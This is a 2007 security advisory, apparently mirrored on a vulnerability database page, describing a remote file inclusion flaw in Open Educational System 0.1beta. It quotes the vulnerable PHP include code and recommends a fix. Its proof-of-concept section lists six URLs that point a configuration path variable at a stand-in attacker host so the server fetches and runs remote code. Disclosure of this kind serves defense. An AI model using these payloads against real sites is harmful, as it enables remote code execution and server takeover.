Lucene search
K

OES (Open Educational System) 0.1beta Remote File Inclusion Vuln

🗓️ 14 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 35 Views

OES 0.1beta File Inclusion Vulnerability in Open Educational Syste

Code

                                                ____________________   ___ ___ ________
\\_   _____/\\_   ___  /   |   \\_____    
 |    __)_ /      //    ~    /   |    
 |        \\     \\___    Y    /    |    
/_______  / \\______  /\\___|_  /\\_______  /
        /         /       /         / 

                                        .OR.ID
ECHO_ADV_69$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_69$2007] OES (Open Educational System) 0.1beta Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : March, 12th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv69-K-159-2007.txt
Critical Lvl   : Dangerous
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Open Educational System 
version       : 0.1beta
Vendor        : http://openeducation.sourceforge.net
Description :

OES (Open Educational System) which is a free for use, open source, and multi-platform, multi-language and user-friendy design online e-learning platform.
The system is integrate and suitable use for any high-school, college or university

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at includes/lib-account.inc.php :  
  	
----------------includes/lib-account.inc.php-------------------
<?php
	//&nbsp;File&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;/include/lib-account.inc.php
	//
	//&nbsp;Description&nbsp;:&nbsp;This&nbsp;library&nbsp;is&nbsp;for&nbsp;administrator&nbsp;and&nbsp;normal&nbsp;user&nbsp;account&nbsp;mangement.


	//&nbsp;Include&nbsp;the&nbsp;configuration&nbsp;file.
	include_once&nbsp;(&nbsp;$CONF_CONFIG_PATH.\'/config.inc.php\'&nbsp;);

	//&nbsp;Include&nbsp;the&nbsp;main&nbsp;include&nbsp;file&nbsp;for&nbsp;running&nbsp;all&nbsp;routine.
	include_once&nbsp;(&nbsp;$CONF_INCLUDE_PATH.\'/library.inc.php\'&nbsp;);

	//&nbsp;Include&nbsp;the&nbsp;ADOdb&nbsp;Class
	include_once&nbsp;(&nbsp;$CONF_INCLUDE_PATH.\'/adodb/adodb.inc.php\');

...
----------------------------------------------------------------


Variables&nbsp;$CONF_INCLUDE_PATH&nbsp;is&nbsp;not&nbsp;properly&nbsp;sanitized.
When&nbsp;register_globals=on&nbsp;and&nbsp;allow_fopenurl=on&nbsp;an&nbsp;attacker&nbsp;can&nbsp;exploit&nbsp;this&nbsp;vulnerability&nbsp;with&nbsp;a&nbsp;simple&nbsp;php&nbsp;injection&nbsp;script.

also&nbsp;affected&nbsp;files&nbsp;:


includes/lib-file.inc.php
includes/lib-group.inc.php
includes/lib-log.inc.php
includes/lib-mydb.inc.php
includes/lib-template-mod.inc.php
includes/lib-themes.inc.php

Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[OES_path]/includes/lib-account.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?


Solution:
~~~~~~~

-&nbsp;Sanitize&nbsp;variable&nbsp;$CONF_INCLUDE_PATH&nbsp;on&nbsp;affected&nbsp;files.
-&nbsp;Turn&nbsp;off&nbsp;register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;and&nbsp;my&nbsp;little&nbsp;son,&nbsp;for&nbsp;all&nbsp;the&nbsp;luv&nbsp;the&nbsp;tears&nbsp;n&nbsp;the&nbsp;breath
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative,&nbsp;str0ke&nbsp;(for&nbsp;the&nbsp;best&nbsp;comments)
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~&nbsp;SinChan,h4ntu,cow_1seng,sakitjiwa,&nbsp;m_beben,&nbsp;rizal,&nbsp;cR4SH3R,&nbsp;madkid,&nbsp;kuntua,&nbsp;stev_manado,&nbsp;nofry,&nbsp;x16
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://k-159.echo.or.id/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------

&nbsp;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation